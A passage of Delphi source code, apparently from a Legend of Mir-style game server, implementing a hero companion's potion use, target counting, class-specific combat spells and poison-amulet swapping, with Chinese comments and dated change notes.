CheckTargetXYCount(m_nCurrX, m_nCurrY, 3) > 0 then begin Result := True; end; } end; if (not Result) and (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.15)) then Result := True;//20080711 end; end; //吃药 procedure THeroObject.EatMedicine(); function FoundItem(ItemType: Byte): Boolean; var I: Integer; UserItem: pTUserItem; StdItem: pTStdItem; begin Result := False; if m_ItemList.Count > 0 then begin for I := 0 to m_ItemList.Count - 1 do begin UserItem := m_ItemList.Items[I]; if UserItem <> nil then begin StdItem := UserEngine.GetStdItem(UserItem.wIndex); if StdItem <> nil then begin case ItemType of 0: begin //红药 if (StdItem.StdMode = 0) and ((StdItem.Shape = 0) or (StdItem.Shape = 1)) and (StdItem.AC > 0) then begin Result := True; Break; end; if (StdItem.StdMode = 31) and ((GetBindItemType(StdItem.Shape) = 0) or (GetBindItemType(StdItem.Shape) = 2)) then begin Result := True; Break; end; end; 1: begin //蓝药 if (StdItem.StdMode = 0) and ((StdItem.Shape = 0) or (StdItem.Shape = 1)) and (StdItem.MAC > 0) then begin Result := True; Break; end; if (StdItem.StdMode = 31) and ((GetBindItemType(StdItem.Shape) = 1) or (GetBindItemType(StdItem.Shape) = 2)) then begin Result := True; Break; end; end; end;//case end; end; end;//for end; end; var n01: Integer; boFound: Boolean; btItemType:Byte; begin boFound := False; btItemType:= 0; if not m_PEnvir.m_boMISSION then begin //20080509 地图没有限制使用物品时,可以自动吃药 if (GetTickCount - m_dwEatItemTick) > g_Config.nHeroAddHPMPTick then begin//英雄吃普通药间隔 20080601 m_dwEatItemTick := GetTickCount(); if (m_nCopyHumanLevel > 0) then begin if m_WAbil.HP < (m_WAbil.MaxHP * g_Config.nHeroAddHPRate) div 100 then begin n01 := 0; while m_WAbil.HP < m_WAbil.MaxHP do begin {增加连续吃三瓶} if (n01 >= 1) then Break;//20080401 改成一次一瓶 btItemType:= 0; if AutoEatUseItems(btItemType) then boFound:= True; if m_ItemList.Count = 0 then Break; Inc(n01); end; end; if m_WAbil.MP < (m_WAbil.MaxMP * g_Config.nHeroAddMPRate) div 100 then begin n01 := 0; while m_WAbil.MP < m_WAbil.MaxMP do begin {增加连续吃三瓶} if (n01 >= 1) then Break;//20080401 改成一次一瓶 btItemType:= 1; if AutoEatUseItems(btItemType) then boFound:= True; if m_ItemList.Count = 0 then Break; Inc(n01); end; end; end; end; if (GetTickCount - m_dwEatItemTick1) > g_Config.nHeroAddHPMPTick1 then begin//英雄吃特殊药间隔 20080910 m_dwEatItemTick1 := GetTickCount(); if (m_nCopyHumanLevel > 0) and (m_ItemList.Count > 0) then begin if (m_WAbil.HP < (m_WAbil.MaxHP * g_Config.nHeroAddHPRate1) div 100) or (m_WAbil.MP < (m_WAbil.MaxMP * g_Config.nHeroAddMPRate1) div 100) then begin btItemType:= 2; if AutoEatUseItems(btItemType) then boFound:= True; end; end; end; end; if not boFound then begin if (GetTickCount - m_dwEatItemNoHintTick) > 30000{30 * 1000} then begin //20080129 m_dwEatItemNoHintTick := GetTickCount(); case btItemType of 0: begin if (m_WAbil.HP < (m_WAbil.MaxHP * g_Config.nHeroAddHPRate) div 100) or (m_WAbil.HP < (m_WAbil.MaxHP * g_Config.nHeroAddHPRate1) div 100) then begin if not FoundItem(btItemType) then SysMsg('(英雄) 金创药已经用完!!!', BB_Fuchsia, t_Hint); end; end; 1: begin if (m_WAbil.MP < (m_WAbil.MaxMP * g_Config.nHeroAddMPRate) div 100) or (m_WAbil.MP < (m_WAbil.MaxMP * g_Config.nHeroAddMPRate1) div 100) then begin if not FoundItem(btItemType) then SysMsg('(英雄) 魔法药已经用完!!!', BB_Fuchsia, t_Hint); end; end; end; end; end; end; {检测指定方向和范围内坐标的怪物数量} function THeroObject.CheckTargetXYCountOfDirection(nX, nY, nDir, nRange: Integer): Integer; var BaseObject: TBaseObject; I: Integer; begin Result := 0; if m_VisibleActors.Count > 0 then begin//20080630 for I := 0 to m_VisibleActors.Count - 1 do begin BaseObject := TBaseObject(pTVisibleBaseObject(m_VisibleActors.Items[I]).BaseObject); if BaseObject <> nil then begin if not BaseObject.m_boDeath then begin if IsProperTarget(BaseObject) and (not BaseObject.m_boHideMode or m_boCoolEye) then begin case nDir of DR_UP: begin if (abs(nX - BaseObject.m_nCurrX) <= nRange) and ((BaseObject.m_nCurrY - nY) in [0..nRange]) then Inc(Result); end; DR_UPRIGHT: begin if ((BaseObject.m_nCurrX - nX) in [0..nRange]) and ((BaseObject.m_nCurrY - nY) in [0..nRange]) then Inc(Result); end; DR_RIGHT: begin if ((BaseObject.m_nCurrX - nX) in [0..nRange]) and (abs(nY - BaseObject.m_nCurrY) <= nRange) then Inc(Result); end; DR_DOWNRIGHT: begin if ((BaseObject.m_nCurrX - nX) in [0..nRange]) and ((nY - BaseObject.m_nCurrY) in [0..nRange]) then Inc(Result); end; DR_DOWN: begin if (abs(nX - BaseObject.m_nCurrX) <= nRange) and ((nY - BaseObject.m_nCurrY) in [0..nRange]) then Inc(Result); end; DR_DOWNLEFT: begin if ((nX - BaseObject.m_nCurrX) in [0..nRange]) and ((nY - BaseObject.m_nCurrY) in [0..nRange]) then Inc(Result); end; DR_LEFT: begin if ((nX - BaseObject.m_nCurrX) in [0..nRange]) and (abs(nY - BaseObject.m_nCurrY) <= nRange) then Inc(Result); end; DR_UPLEFT: begin if ((nX - BaseObject.m_nCurrX) in [0..nRange]) and ((BaseObject.m_nCurrY - nY) in [0..nRange]) then Inc(Result); end; end; //if Result > 2 then break; end; end; end; end; end; end; //检测指定方向和范围内,目标与英雄的距离 20080426 function THeroObject.CheckMasterXYOfDirection(TargeTBaseObject: TBaseObject; nX, nY, nDir, nRange: Integer): Integer; begin Result := 0; if TargeTBaseObject <> nil then begin if not TargeTBaseObject.m_boDeath then begin case nDir of DR_UP: begin if (abs(nX - TargeTBaseObject.m_nCurrX) <= nRange) and ((TargeTBaseObject.m_nCurrY - nY) in [0..nRange]) then Inc(Result); end; DR_UPRIGHT: begin if ((TargeTBaseObject.m_nCurrX - nX) in [0..nRange]) and ((TargeTBaseObject.m_nCurrY - nY) in [0..nRange]) then Inc(Result); end; DR_RIGHT: begin if ((TargeTBaseObject.m_nCurrX - nX) in [0..nRange]) and (abs(nY - TargeTBaseObject.m_nCurrY) <= nRange) then Inc(Result); end; DR_DOWNRIGHT: begin if ((TargeTBaseObject.m_nCurrX - nX) in [0..nRange]) and ((nY - TargeTBaseObject.m_nCurrY) in [0..nRange]) then Inc(Result); end; DR_DOWN: begin if (abs(nX - TargeTBaseObject.m_nCurrX) <= nRange) and ((nY - TargeTBaseObject.m_nCurrY) in [0..nRange]) then Inc(Result); end; DR_DOWNLEFT: begin if ((nX - TargeTBaseObject.m_nCurrX) in [0..nRange]) and ((nY - TargeTBaseObject.m_nCurrY) in [0..nRange]) then Inc(Result); end; DR_LEFT: begin if ((nX - TargeTBaseObject.m_nCurrX) in [0..nRange]) and (abs(nY - TargeTBaseObject.m_nCurrY) <= nRange) then Inc(Result); end; DR_UPLEFT: begin if ((nX - TargeTBaseObject.m_nCurrX) in [0..nRange]) and ((TargeTBaseObject.m_nCurrY - nY) in [0..nRange]) then Inc(Result); end; end; end; end; end; function THeroObject.WarrAttackTarget(wHitMode: Word): Boolean; {物理攻击} var bt06, nCode: Byte; dwDelayTime: LongWord; begin Result := False; nCode:= 0; try nCode:= 1; if m_TargetCret <> nil then begin nCode:= 2; if GetAttackDir(m_TargetCret, bt06) then begin nCode:= 3; m_dwTargetFocusTick := GetTickCount(); nCode:= 4; Attack(m_TargetCret, bt06); m_dwActionTick := GetTickCount();//20080720 晚,增加 nCode:= 5; BreakHolySeizeMode(); Result := True; end else begin nCode:= 6; if m_TargetCret.m_PEnvir = m_PEnvir then begin nCode:= 7; SetTargetXY(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY); end else begin nCode:= 8; if not m_boTarget then DelTargetCreat();//20080424 不是锁定的目标,才能删除目标 end; end; end; except on E: Exception do begin MainOutMessage('{异常} THeroObject.WarrAttackTarget Code:'+inttostr(nCode)); end; end; end; function THeroObject.WarrorAttackTarget(): Boolean; {战士攻击} var UserMagic: pTUserMagic; begin Result := False; if m_btStatus <> 0 then begin if m_TargetCret <> nil then m_TargetCret:= nil; Exit; end; m_wHitMode := 0; if m_WAbil.MP > 0 then begin if (not m_boStartUseSpell) and ((m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.3)) or m_TargetCret.m_boCrazyMode) then begin //20080718 注释,战不躲避 //m_boIsUseMagic := True;//是否能躲避 20080715 //Exit; if IsAllowUseMagic(12) then begin//血少时或目标疯狂模式时,做隔位刺杀 20080827 GetGotoXY(m_TargetCret, 2); GotoTargetXY( m_nTargetX, m_nTargetY, 0); end; end; if not m_boStartUseSpell then SearchMagic(); //查询魔法 20080328增加 if m_nSelectMagic > 0 then begin if not MagCanHitTarget(m_nCurrX, m_nCurrY, m_TargetCret) or ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > 5) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 5)) then begin//魔法不能打到怪 20080420 if (abs(m_Master.m_nCurrX - m_nCurrX) >= 7) or (abs(m_Master.m_nCurrY - m_nCurrY) >= 7) then begin m_TargetCret:= nil; Exit; end;//else RunToTargetXY(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY);//20080720 注释 end; UserMagic := FindMagic(m_nSelectMagic); if (UserMagic <> nil) and (UserMagic.btKey = 0) then begin//技能打开状态才能使用 20080606 case m_nSelectMagic of 27, 39, 41, 60..65, 68, 75: begin m_dwHitTick := GetTickCount();//20080530 Result := ClientSpellXY(UserMagic, m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, m_TargetCret); //战士魔法 Exit; end; 7: m_wHitMode := 3; //攻杀 12: m_wHitMode := 4; //使用刺杀 25: m_wHitMode := 5; //使用半月 26: m_wHitMode := 7; //使用烈火 40: m_wHitMode := 8; //抱月刀法 43: m_wHitMode := 9; //开天斩 20080203 42: m_wHitMode := 12;//龙影剑法 20080203 74: m_wHitMode := 13;//逐日剑法 20080528 end; end; end; end; if not m_boStartUseSpell then Result := WarrAttackTarget(m_wHitMode);//20081214 if Result then m_dwHitTick := GetTickCount();//20080604 以实现隔位能使用技能 end; function THeroObject.WizardAttackTarget(): Boolean; {法师攻击} var UserMagic: pTUserMagic; begin Result := False; if m_btStatus <> 0 then begin if m_TargetCret <> nil then m_TargetCret:= nil; Exit; end; m_wHitMode := 0; if not m_boStartUseSpell then begin SearchMagic(); //查询魔法 20080328增加 if m_nSelectMagic = 0 then m_boIsUseMagic := True;//是否能躲避 20080715 end; if m_nSelectMagic > 0 then begin if not MagCanHitTarget(m_nCurrX, m_nCurrY, m_TargetCret) or ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > 7) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 7)) then begin//魔法不能打到怪 20080420 if (abs(m_Master.m_nCurrX - m_nCurrX) >= 7) or (abs(m_Master.m_nCurrY - m_nCurrY) >= 7) then begin m_nSelectMagic := 0;//20080710 m_TargetCret:= nil; Exit; end else begin if m_nSelectMagic <> 10 then begin//20080717 除疾光电影外 GetGotoXY(m_TargetCret,3);//20080712 道法只走向目标3格范围 GotoTargetXY( m_nTargetX, m_nTargetY,0); end; end; end; UserMagic := FindMagic(m_nSelectMagic); if (UserMagic <> nil) and (UserMagic.btKey = 0) then begin//技能打开状态才能使用 20080606 m_dwHitTick := GetTickCount();//20080530 Result := ClientSpellXY(UserMagic, m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, m_TargetCret); //使用魔法 Exit; end; end; m_dwHitTick := GetTickCount();//20080530 if g_Config.boHeroAttackTarget and (m_Abil.Level < 22) then begin//20081218 法师22级前是否物理攻击 m_boIsUseMagic := False;//是否能躲避 Result := WarrAttackTarget(m_wHitMode); end; end; function THeroObject.TaoistAttackTarget(): Boolean; {道士攻击 20071218} var UserMagic: pTUserMagic; nIndex: Integer; begin Result := False; if m_btStatus <> 0 then begin if m_TargetCret <> nil then m_TargetCret:= nil; Exit; end; m_wHitMode := 0; if not m_boStartUseSpell then begin SearchMagic(); //查询魔法 20080328增加 if m_nSelectMagic = 0 then m_boIsUseMagic := True;//是否能躲避 20080715 end; if m_nSelectMagic > 0 then begin if (not MagCanHitTarget(m_nCurrX, m_nCurrY, m_TargetCret)) or ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > 7) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 7)) then begin//魔法不能打到怪 20080420 if (abs(m_Master.m_nCurrX - m_nCurrX) >= 7) or (abs(m_Master.m_nCurrY - m_nCurrY) >= 7) then begin m_nSelectMagic := 0;//20080710 m_TargetCret:= nil; Exit; end else begin GetGotoXY(m_TargetCret, 3);//20080712 道法只走向目标3格范围 GotoTargetXY( m_nTargetX, m_nTargetY,0); //GotoTargetXY(m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY); end; end; case m_nSelectMagic of SKILL_HEALLING: begin //治愈术 20080426 if (m_Master.m_WAbil.HP <= Round(m_Master.m_WAbil.MaxHP * 0.7)) then begin UserMagic := FindMagic(m_nSelectMagic); if (UserMagic <> nil) and (UserMagic.btKey = 0) then begin//技能打开状态才能使用 20080606 {Result :=}ClientSpellXY(UserMagic, m_Master.m_nCurrX, m_Master.m_nCurrY, m_Master); m_dwHitTick := GetTickCount(); m_boIsUseMagic := True;//能躲避 20080916 Exit; end; end; if (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.7)) then begin UserMagic := FindMagic(m_nSelectMagic); if (UserMagic <> nil) and (UserMagic.btKey = 0) then begin//技能打开状态才能使用 {Result :=}ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, nil); m_dwHitTick := GetTickCount(); m_boIsUseMagic := True;//能躲避 20080916 Exit; end; end; end; SKILL_BIGHEALLING: begin //群体治疗术 20080713 if (m_Master.m_WAbil.HP <= Round(m_Master.m_WAbil.MaxHP * 0.7)) then begin UserMagic := FindMagic(m_nSelectMagic); if (UserMagic <> nil) and (UserMagic.btKey = 0) then begin//技能打开状态才能使用 20080715 {Result :=}ClientSpellXY(UserMagic, m_Master.m_nCurrX, m_Master.m_nCurrY, m_Master); m_dwHitTick := GetTickCount(); m_boIsUseMagic := True;//能躲避 20080916 Exit; end; end; if (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.7)) then begin UserMagic := FindMagic(m_nSelectMagic); if (UserMagic <> nil) and (UserMagic.btKey = 0) then begin//技能打开状态才能使用 {Result :=}ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); m_dwHitTick := GetTickCount(); m_boIsUseMagic := True;//能躲避 20080916 Exit; end; end; end; SKILL_FIRECHARM: begin//灵符火符,打不到目标时,移动 20080711 if not MagCanHitTarget(m_nCurrX, m_nCurrY, m_TargetCret) then begin GetGotoXY(m_TargetCret,3); GotoTargetXY(m_nTargetX, m_nTargetY,1); end; end; SKILL_AMYOUNSUL{6}, SKILL_GROUPAMYOUNSUL{38}: begin //换毒 if (m_TargetCret.m_wStatusTimeArr[POISON_DECHEALTH] = 0) and (GetUserItemList(2,1)>= 0) then begin//绿毒 n_AmuletIndx:= 1;//20080412 绿毒标识 end else if (m_TargetCret.m_wStatusTimeArr[POISON_DAMAGEARMOR] = 0) and (GetUserItemList(2,2)>= 0) then begin//红毒 n_AmuletIndx:= 2;//20080412 红毒标识 end; end; SKILL_BIGCLOAK {19}: begin //集体隐身术 UserMagic := FindMagic(m_nSelectMagic); if (UserMagic <> nil) and (UserMagic.btKey = 0) then begin//技能打开状态才能使用 ClientSpellXY(UserMagic, m_nCurrX, m_nCurrY, self); m_dwHitTick := GetTickCount(); m_boIsUseMagic := False;//能躲避 20080916 Exit; end; end; SKILL_48,//气功波时,并进行躲避 20080828 SKILL_SKELLETON, SKILL_SINSU, SKILL_50, SKILL_72, SKILL_73, SKILL_75: begin UserMagic := FindMagic(m_nSelectMagic); if (UserMagic <> nil) and (UserMagic.btKey = 0) then begin {Result := }ClientSpellXY(UserMagic, m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, m_TargetCret); //使用魔法 m_dwHitTick := GetTickCount(); m_boIsUseMagic := True;//能躲避 Exit; end; end; end; UserMagic := FindMagic(m_nSelectMagic); if (UserMagic <> nil) and (UserMagic.btKey = 0) then begin//技能打开状态才能使用 20080606 Result := ClientSpellXY(UserMagic, m_TargetCret.m_nCurrX, m_TargetCret.m_nCurrY, m_TargetCret); //使用魔法 m_dwHitTick := GetTickCount();//20080530 Exit; end; end; m_dwHitTick := GetTickCount();//20080530 {if (m_WAbil.MP > 10) and (m_WAbil.Level < 20) then begin//20080803 19级使用砍 20081225 注释 Result := WarrAttackTarget(m_wHitMode); m_dwHitTick := GetTickCount(); if Result then m_boIsUseMagic := False; end;} if (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.15)) then m_boIsUseMagic := True;//是否能躲避 20080715 if g_Config.boHeroAttackTarget and (m_Abil.Level < 22) then begin//20081218 道士22级前是否物理攻击 m_boIsUseMagic := False;//是否能躲避 Result := WarrAttackTarget(m_wHitMode); end; end; function THeroObject.CheckUserMagic(wMagIdx: Word): pTUserMagic; var I: Integer; begin Result := nil; if m_MagicList.Count > 0 then begin//20080630 for I := 0 to m_MagicList.Count - 1 do begin if pTUserMagic(m_MagicList.Items[I]).MagicInfo.wMagicId = wMagIdx then begin Result := pTUserMagic(m_MagicList.Items[I]); Break; end; end; end; end; function THeroObject.CheckTargetXYCount(nX, nY, nRange: Integer): Integer; var BaseObject: TBaseObject; I, nC, n10: Integer; begin Result := 0; n10 := nRange; if m_VisibleActors.Count > 0 then begin//20080630 for I := 0 to m_VisibleActors.Count - 1 do begin BaseObject := TBaseObject(pTVisibleBaseObject(m_VisibleActors.Items[I]).BaseObject); if BaseObject <> nil then begin if not BaseObject.m_boDeath then begin if IsProperTarget(BaseObject) and (not BaseObject.m_boHideMode or m_boCoolEye) then begin nC := abs(nX - BaseObject.m_nCurrX) + abs(nY - BaseObject.m_nCurrY); if nC <= n10 then begin Inc(Result); //if Result > 2 then break; end; end; end; end; end; end; end; //战士判断使用 20080924 function THeroObject.CheckTargetXYCount1(nX, nY, nRange: Integer): Integer; var BaseObject: TBaseObject; I, n10: Integer; begin Result := 0; n10 := nRange; if m_VisibleActors.Count > 0 then begin for I := 0 to m_VisibleActors.Count - 1 do begin BaseObject := TBaseObject(pTVisibleBaseObject(m_VisibleActors.Items[I]).BaseObject); if BaseObject <> nil then begin if not BaseObject.m_boDeath then begin if IsProperTarget(BaseObject) and (not BaseObject.m_boHideMode or m_boCoolEye) then begin if (abs(nX - BaseObject.m_nCurrX) <= n10) and (abs(nY - BaseObject.m_nCurrY) <= n10) then begin Inc(Result); end; end; end; end; end; end; end; //半月弯刀判断目标函数 20081207 function THeroObject.CheckTargetXYCount2(): Integer; var nC, n10, I: Integer; nX, nY: Integer; BaseObject: TBaseObject; begin Result := 0; nC := 0; if m_VisibleActors.Count > 0 then begin for I := 0 to m_VisibleActors.Count - 1 do begin n10 := (m_btDirection + g_Config.WideAttack[nC]) mod 8; if m_PEnvir.GetNextPosition(m_nCurrX, m_nCurrY, n10, 1, nX, nY) then begin BaseObject := m_PEnvir.GetMovingObject(nX, nY, True); if BaseObject <> nil then begin if not BaseObject.m_boDeath then begin if IsProperTarget(BaseObject) and (not BaseObject.m_boHideMode or m_boCoolEye) then begin Inc(Result); end; end; end; end; Inc(nC); if nC >= 3 then Break; end; end; end; {道士} //检查物品类型 function THeroObject.CheckItemType(nItemType: Integer; StdItem: pTStdItem ; nItemShape: Integer): Boolean; begin Result := False; case nItemType of 1: begin if (StdItem.StdMode = 25) and (StdItem.Shape = 5) then Result := True; end; 2: begin case nItemShape of 1:if (StdItem.StdMode = 25) and (StdItem.Shape = 1) then Result := True; 2:if (StdItem.StdMode = 25) and (StdItem.Shape = 2) then Result := True; end; end; end; end; //判断装备栏里是否有指定类型的物品 function THeroObject.CheckUserItemType(nItemType: Integer; nItemShape: Integer): Boolean; var StdItem: pTStdItem; begin Result := False; if m_UseItems[U_ARMRINGL].wIndex > 0 then begin StdItem := UserEngine.GetStdItem(m_UseItems[U_ARMRINGL].wIndex); if (StdItem <> nil) then begin case nItemType of 1:if m_UseItems[U_ARMRINGL].Dura >= nItemShape * 100 then Result := CheckItemType(nItemType, StdItem, nItemShape); 2:Result := CheckItemType(nItemType, StdItem, nItemShape); end; end; end (* else {20080212 增加,判断装备物品一栏是否有指定类型的物品} if m_UseItems[U_BUJUK].wIndex > 0 then begin StdItem := UserEngine.GetStdItem(m_UseItems[U_BUJUK].wIndex); if StdItem <> nil then begin Result := CheckItemType(nItemType, StdItem); end; end; *) end; function THeroObject.UseItem(nItemType, nIndex: Integer; nItemShape: Integer): Boolean; //自动换毒符 var UserItem: pTUserItem; AddUserItem: pTUserItem; StdItem: pTStdItem; begin Result := False; if (nIndex >= 0) and (nIndex < m_ItemList.Count) then begin UserItem := m_ItemList.Items[nIndex]; if m_UseItems[U_ARMRINGL {U_BUJUK}].wIndex > 0 then begin StdItem := UserEngine.GetStdItem(m_UseItems[U_ARMRINGL {U_BUJUK}].wIndex); if StdItem <> nil then begin case nItemType of 1:begin if CheckItemType(nItemType, StdItem ,nItemShape) and (m_UseItems[U_ARMRINGL {U_BUJUK}].Dura >= nItemShape * 100) then begin Result := True; end else begin m_ItemList.Delete(nIndex); New(AddUserItem); AddUserItem^ := m_UseItems[U_ARMRINGL {U_BUJUK}]; if AddItemToBag(AddUserItem) then begin m_UseItems[U_ARMRINGL {U_BUJUK}] := UserItem^; SendChangeItems(U_ARMRINGL, U_ARMRINGL, UserItem, AddUserItem); Dispose(UserItem); Result := True; end else m_ItemList.Add(UserItem); end; end; 2:begin if CheckItemType(nItemType, StdItem ,nItemShape) then begin Result := True; end else begin m_ItemList.Delete(nIndex); New(AddUserItem); AddUserItem^ := m_UseItems[U_ARMRINGL {U_BUJUK}]; if AddItemToBag(AddUserItem) then begin m_UseItems[U_ARMRINGL {U_BUJUK}] := UserItem^; SendChangeItems(U_ARMRINGL, U_ARMRINGL, UserItem, AddUserItem); Dispose(UserItem); Result := True; end else m_ItemList.Add(UserItem); end; end; end; (*if CheckItemType(nItemType, StdItem ,nItemShape) then begin Result := True; end else begin m_ItemList.Delete(nIndex); New(AddUserItem); AddUserItem^ := m_UseItems[U_ARMRINGL {U_BUJUK}]; if AddItemToBag(AddUserItem) then begin m_UseItems[U_ARMRINGL {U_BUJUK}] := UserItem^; SendChangeItems(U_ARMRINGL, U_ARMRINGL, UserItem, AddUserItem); Dispose(UserItem); Result := True; end else m_ItemList.Add(UserItem); end; *) end else begin m_ItemList.Delete(nIndex); m_UseItems[U_ARMRINGL {U_BUJUK}] := UserItem^; SendChangeItems(U_ARMRINGL, U_ARMRINGL, UserItem, nil); Dispose(UserItem); Result := True; end; end else begin m_ItemList.Delete(nIndex); m_UseItems[U_ARMRINGL {U_BUJUK}] := UserItem^; SendChangeItems(U_ARMRINGL, U_ARMRINGL, UserItem, nil); Dispose(UserItem); Result := True; end; end; //SendUseitems(); //ClientQueryBagItems; end; //检测包裹中是否有符和毒 //nType 为指定类型 1 为护身符 2 为毒药 如为符,则 nItemShape 表示符的持久,毒时,1-绿毒,2-红毒 function THeroObject.GetUserItemList(nItemType: Integer; nItemShape: Integer): Integer; var I: Integer; UserItem: pTUserItem; StdItem: pTStdItem; begin Result := -1; if m_UseItems[U_ARMRINGL].wIndex > 0 then begin StdItem := UserEngine.GetStdItem(m_UseItems[U_ARMRINGL].wIndex); if (StdItem <> nil) and (StdItem.StdMode = 25) then begin case nItemType of 1: begin if (StdItem.Shape = 5) and (Round(m_UseItems[U_ARMRINGL].Dura / 100) >= nItemShape) then begin Result:= 1; Exit; end; end; 2: begin Case nItemShape of 1: begin if StdItem.Shape = 1 then begin Result:= 1; Exit; end; end; 2:begin if StdItem.Shape = 2 then begin Result:= 1; Exit; end; end; end; end; end; end; end; if m_UseItems[U_BUJUK].wIndex > 0 then begin StdItem := UserEngine.GetStdItem(m_UseItems[U_BUJUK].wIndex); if (StdItem <> nil) and (StdItem.StdMode = 25) then begin case nItemType of // 1: begin//符 if (StdItem.Shape = 5) and (Round(m_UseItems[U_BUJUK].Dura / 100) >= nItemShape) then begin Result:= 1; Exit; end; end; 2: begin//毒 Case nItemShape of 1: begin if StdItem.Shape = 1 then begin Result:= 1; Exit; end; end; 2:begin if StdItem.Shape = 2 then begin Result:= 1; Exit; end; end; end; end; end; end; end; for I := m_ItemList.Count - 1 downto 0 do begin//20080916 修改 if m_ItemList.Count <= 0 then Break;//20080916 UserItem := m_ItemList.Items[I]; StdItem := UserEngine.GetStdItem(UserItem.wIndex); if StdItem <> nil then begin if CheckItemType(nItemType, StdItem, nItemShape) then begin if UserItem.Dura < 100 then begin m_ItemList.Delete(I); Continue; end; case nItemType of 1:begin if UserItem.Dura >= nItemShape * 100 then begin Result := I; Break; end end; 2:begin Case nItemShape of 1: begin if StdItem.Shape = 1 then begin Result := I; Break; end; end; 2:begin if StdItem.Shape = 2 then begin Result := I; Break; end; end; end; end; end; end; end; end; end; //合击则不限制时间,直接进入合击 20080406 function THeroObject.AttackTarget(): Boolean; var dwAttackTime: LongWord; begin Result := False; if m_btStatus <> 0 then begin if m_TargetCret <> nil then m_TargetCret:= nil; Exit;//20080404 跟随不打怪 end; if InSafeZone and (m_TargetCret <> nil) then begin//英雄进入安全区内就不打PK目标 20080721 if (m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) then begin m_TargetCret:= nil; Exit; end; end; m_dwTargetFocusTick := GetTickCount(); case m_btJob of 0: begin dwAttackTime := _MAX(0, Integer(g_Config.dwHeroWarrorAttackTime) - m_nHitSpeed * g_Config.ClientConf.btItemSpeed); //防止负数出错 +速度 20080405 if (GetTickCount - m_dwHitTick > dwAttackTime) or m_boStartUseSpell then begin //m_dwHitTick := GetTickCount(); m_boIsUseMagic := False;//是否能躲避 20080714 Result := WarrorAttackTarget; end; end; 1: begin dwAttackTime := _MAX(0, Integer(g_Config.dwHeroWizardAttackTime) - m_nHitSpeed * g_Config.ClientConf.btItemSpeed); //防止负数出错 +速度 20080405 if (GetTickCount - m_dwHitTick > dwAttackTime) or m_boStartUseSpell then begin m_dwHitTick := GetTickCount();//20080530 m_boIsUseMagic := False;//是否能躲避 20080714 Result := WizardAttackTarget; Exit;//20080719 end; m_nSelectMagic := 0;//20080719 end; 2: begin dwAttackTime := _MAX(0, Integer(g_Config.dwHeroTaoistAttackTime) - m_nHitSpeed * g_Config.ClientConf.btItemSpeed); //防止负数出错 +速度 20080405 if (GetTickCount - m_dwHitTick > dwAttackTime) or m_boStartUseSpell then begin m_dwHitTick := GetTickCount();//20080530 m_boIsUseMagic := False;//是否能躲避 20080714 Result := TaoistAttackTarget; Exit;//20080719 end; m_nSelectMagic := 0;//20080719 end; end; end; procedure THeroObject.SearchMagic(); var UserMagic: pTUserMagic; begin m_nSelectMagic:= 0; m_nSelectMagic := SelectMagic; if m_nSelectMagic > 0 then begin UserMagic := FindMagic(m_nSelectMagic); if UserMagic <> nil then begin m_boIsUseAttackMagic := IsUseAttackMagic{需要毒符的魔法}; end else begin m_boIsUseAttackMagic := False; // m_boIsUseMagic:=IsUseMagic; end; end else begin m_boIsUseAttackMagic := False; end; end; function THeroObject.IsSearchTarget: Boolean; begin Result := False; if (m_TargetCret <> nil) then begin if (m_TargetCret = Self) then m_TargetCret := nil; end; if (m_TargetCret = nil) {or}and ((GetTickCount - m_dwSearchEnemyTick) > 400{8000}) and (m_btStatus = 0) then begin m_dwSearchEnemyTick := GetTickCount; Result := True; Exit; end; { if GetTickCount - m_dwSearchEnemyTick < 1000 then Exit; //20080222 注释 m_dwSearchEnemyTick := GetTickCount; Result := True; } {case m_btJob of 0: begin if (m_TargetCret <> nil) and ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1)) and (CheckTargetXYCount(m_nCurrX, m_nCurrY, 1) >= 1) then begin m_dwSearchEnemyTick := GetTickCount; Result := True; Exit; end; end; 1, 2: begin if m_boIsUseAttackMagic then begin if (m_TargetCret <> nil) and ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > 3) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 3)) and (CheckTargetXYCount(m_nCurrX, m_nCurrY, 1) > 0) then begin m_dwSearchEnemyTick := GetTickCount; Result := True; Exit; end; end else begin if (m_TargetCret <> nil) and ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > 1) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) > 1)) and (CheckTargetXYCount(m_nCurrX, m_nCurrY, 1) >= 2) then begin m_dwSearchEnemyTick := GetTickCount; Result := True; Exit; end; end; end; end; } end; //检查物品是否为火龙之心 function THeroObject.WearFirDragon: Boolean; var StdItem: pTStdItem; begin Result := False; if m_UseItems[U_BUJUK].wIndex > 0 then begin StdItem := UserEngine.GetStdItem(m_UseItems[U_BUJUK].wIndex); if (StdItem <> nil) and (StdItem.StdMode = 25) and (StdItem.Shape = 9) then begin Result := True; end; end; end; //修补火龙之心 20071229 btType:2--主人 4--英雄 procedure THeroObject.RepairFirDragon(btType: Byte; nItemIdx: Integer; sItemName: string); var I, n14: Integer; UserItem: pTUserItem; StdItem{, StdItem20}: pTStdItem; sUserItemName: string; boRepairOK: Boolean; ItemList: TList; OldDura: Word; begin boRepairOK := False; ItemList := nil; StdItem := nil; UserItem := nil; n14 := -1; OldDura :=0; if (m_Master <> nil) and WearFirDragon then begin if m_UseItems[U_BUJUK].Dura < m_UseItems[U_BUJUK].DuraMax 